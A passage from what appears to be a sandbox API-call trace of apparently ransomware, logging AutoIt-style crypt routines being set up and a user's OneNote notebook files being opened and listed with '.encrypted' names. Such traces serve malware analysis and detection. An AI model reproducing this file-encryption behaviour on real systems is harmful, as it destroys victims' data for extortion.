wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.556] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.556] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.556] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.556] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.556] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.556] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.556] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.556] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.557] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.557] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.557] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.557] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.557] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.557] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.557] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.557] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.557] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.557] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.557] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.557] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.557] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.557] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.558] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.558] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.558] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5348) returned 1 [0025.558] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.558] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.558] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.558] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x14e4, lpOverlapped=0x0) returned 1 [0025.558] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.558] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x14e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.558] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5348) returned 1 [0025.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.encrypted.onetoc2\r\n", cchWideChar=95, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 95 [0025.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.encrypted.onetoc2\r\n", cchWideChar=95, lpMultiByteStr=0xe8f4062330, cbMultiByte=95, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.encrypted.onetoc2\r\n", lpUsedDefaultChar=0x0) returned 95 [0025.558] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40623a0*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40623a0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x5e, lpOverlapped=0x0) returned 1 [0025.559] CloseHandle (hObject=0x1fc) returned 1 [0025.559] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.559] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.560] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.560] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.560] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.560] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.560] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.561] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.561] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.561] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41783e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.561] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0025.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchWideChar=77, lpMultiByteStr=0xe8f40697d0, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", lpUsedDefaultChar=0x0) returned 77 [0025.562] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\5jghkoaofdp\\documents\\onenote notebooks\\my notebook\\quick notes.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0025.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=77, lpWideCharStr=0xe8f416dee0, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 77 [0025.563] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.563] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.563] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.563] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.564] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178800, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.564] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.564] CloseHandle (hObject=0x1fc) returned 1 [0025.564] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.564] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.564] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.564] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.564] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.564] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.564] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.564] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.565] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.565] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.565] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.565] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.565] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.565] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.566] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.566] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.566] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199a20) returned 1 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.566] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.566] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.566] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.566] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.566] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.567] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfe440, 